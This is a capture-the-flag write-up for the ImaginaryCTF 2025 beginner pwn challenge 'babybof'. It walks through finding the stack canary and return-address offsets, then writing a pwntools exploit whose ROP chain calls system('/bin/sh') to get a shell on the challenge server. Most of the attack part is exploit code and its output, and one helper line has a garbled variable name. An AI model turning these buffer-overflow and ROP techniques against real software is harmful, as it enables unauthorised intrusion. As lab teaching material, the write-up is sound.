ImaginaryCTF 2025 Pwn Writeup: babybof

Complete Writeup for ImaginaryCTF 2025 Pwn Challenge babybof

Author: Shruti Priya

Hello and welcome to the writeup for ImaginaryCTF 2025 Pwn Challenge babybof. This is a beginner level pwn challenge and involves the use of ROP Chain to achieve a shell.

Understanding the Binary

Before disassembling the binary, let’s run it locally and get a feel of how it works.

1$ ./vuln
2Welcome to babybof!
3Here is some helpful info:
4system @ 0x7c7f53458750
5pop rdi; ret @ 0x4011ba
6ret @ 0x4011bb
7"/bin/sh" @ 0x404038
8canary: 0x8fb67032276b7f00
9enter your input (make sure your stack is aligned!): 

The binary gives us “some helpful info” such as: the memory address of the system function, ret and pop rdi; ret gadgets and where is the string /bin/sh is present in memory. Moreover, there is also a stack canary which checks if the stack is being smashed. This is a classic buffer overflow challenge where we have to ensure the canary does not detect our payload. I first generate some cyclic pattern to figure out the offset of the canary from the input. For generating the cycling pattern and checking offset, I use the Python library msfpatterns.

Finding offset

1from msfpatterns import generate_pattern
2generate_pattern(128)
3'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae' 

Inserting this pattern into the binary:

 1$ ./vuln
 2Welcome to babybof!
 3Here is some helpful info:
 4system @ 0x7a53ee858750
 5pop rdi; ret @ 0x4011ba
 6ret @ 0x4011bb
 7"/bin/sh" @ 0x404038
 8canary: 0xe54015725bff3800
 9enter your input (make sure your stack is aligned!):  Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae
10your input: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae
11canary: 0x4130634139624138
12return address: 0x6341356341346341
13*** stack smashing detected ***: terminated
14Aborted (core dumped)

We overflowed the buffer and the canary detected stack smashing. Now, based on the memory addresses (which is just our cyclic pattern) detected by the canary and the return address, we can figure out the offset.

1from msfpatterns import find_offset
2find_offset('0x4130634139624138', 128)      # canary address
3[56]
4find_offset('0x6341356341346341', 128)      # return address
5[72]

The canary is at the offset of 56 bytes while the return address is at the offset of 72 bytes. Now, let’s check if we have found the correct offset. Also note how the memory address for canary and system changed on another invocation of the binary. This means that these two addresses will keep changing and we should develop a payload based on this information.

 1from pwn import *
 2
 3def print_lines(io):
 4    info("Printing io received lines")
 5    while True:
 6        try:
 7            line = io.recvline()
 8            success(linbinarye)
 9        except EOFError:
10            break
11
12context(os='linux', arch='amd64', log_level='info')
13p = process("./vuln")
14
15offset = 56
16canary = int(p.recvline_startswith(b'canary: ').split(b"0x", 2)[1].strip().decode(), 16)
17
18payload = [
19    b'A'*offset,
20    p64(canary)
21]
22
23p.sendlineafter(b'aligned!): ', b''.join(payload))
24print_lines(p)

Let’s run this exploit.

1$ python exploit.py
2[+] Starting local process './vuln': pid 26176
3canary: 0x3877f79e78920100
4[*] Printing io received lines
5[*] Process './vuln' stopped with exit code 0 (pid 26176)
6[+] your input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
7[+] canary: 0x3877f79e78920100
8[+] return address: 0x7049cf62a1ca

Wonderful! Our offset is correct and we have successfully overwritten the actual canary with a new canary value (this new value is just the old value but it protects our program from crashing since the canary is preserved). Armed with this knowledge, let’s start building our final exploit.

Crafting final exploit

First, we have to send 56 bytes to reach the offset, then we add the canary value to preserve the canary and prevent the program from exiting due to stack smashing. Finally, we need to add the actual payload which will execute the /bin/sh function and drop us into a shell.

Before crafting the final payload, I should explain one more thing. We cannot send our payload right after the canary value since there must be a saved base pointer right after the canary. Our payload must begin after this base pointer to actually overwrite the return address and give us control of the program flow. Great, now let’s craft the exploit.

 1from pwn import *
 2
 3context(os='linux', arch='amd64', log_level='info')
 4
 5#host = 'babybof.chal.imaginaryctf.org' 
 6#port = 1337
 7
 8#p = remote(host, port)
 9p = process("./vuln")
10
11offset = 56
12
13system_addr = int(p.recvline_startswith(b'system @ ').split(b"0x", 2)[1].strip().decode(), 16)
14canary = int(p.recvline_startswith(b'canary: ').split(b"0x", 2)[1].strip().decode(), 16)
15ret = 0x4011bb
16pop_rdi_ret = 0x4011ba
17binsh = 0x404038
18
19rop_chain = [
20    p64(ret),              # Align stack
21    p64(pop_rdi_ret),      # Pop /bin/sh address into rdi
22    p64(binsh),            # Address of /bin/sh
23    p64(system_addr)       # Call system(/bin/sh)
24]
25
26payload = [
27    b'A'*56,
28    p64(canary),
29    b'B' * 8,
30    *rop_chain
31]
32
33p.sendlineafter(b'aligned!): ', b''.join(payload))
34p.interactive()

Here, we have the b'A' * 56 for the initial 56 bytes, then we have the canary, then we insert random 8 bytes to get rid of base pointer. Finally, we have the rop_chain. This rop_chain calls the system function with the argument /bin/sh to give us a shell. Let’s run this locally for testing.

1$ python exploit.py
2[+] Starting local process './vuln': pid 30753
3[*] Switching to interactive mode
4your input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
5canary: 0x345834f8e687e300
6return address: 0x4011bb
7$ whoami
8shru
9$  

And we have the shell! Now let’s run this exploit on the server and get our flag.

 1$ python exploit.py
 2[ ] Opening connection to babybof.chal.imaginaryctf.org on port 1337: Done
 3[*] Switching to interactive mode
 4your input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 5canary: 0xfbabb22136e95f00
 6return address: 0x4011bb
 7$ whoami
 8ubuntu
 9$ cat flag.txt
10ictf{*****_**********_*******_***_*****_******_***_*******}
11$ 

And babybof is pwned. This was a fun challenge and I learnt how to craft ROP Chains with pwntools. Thank you for reading and I will see you in the next writeup.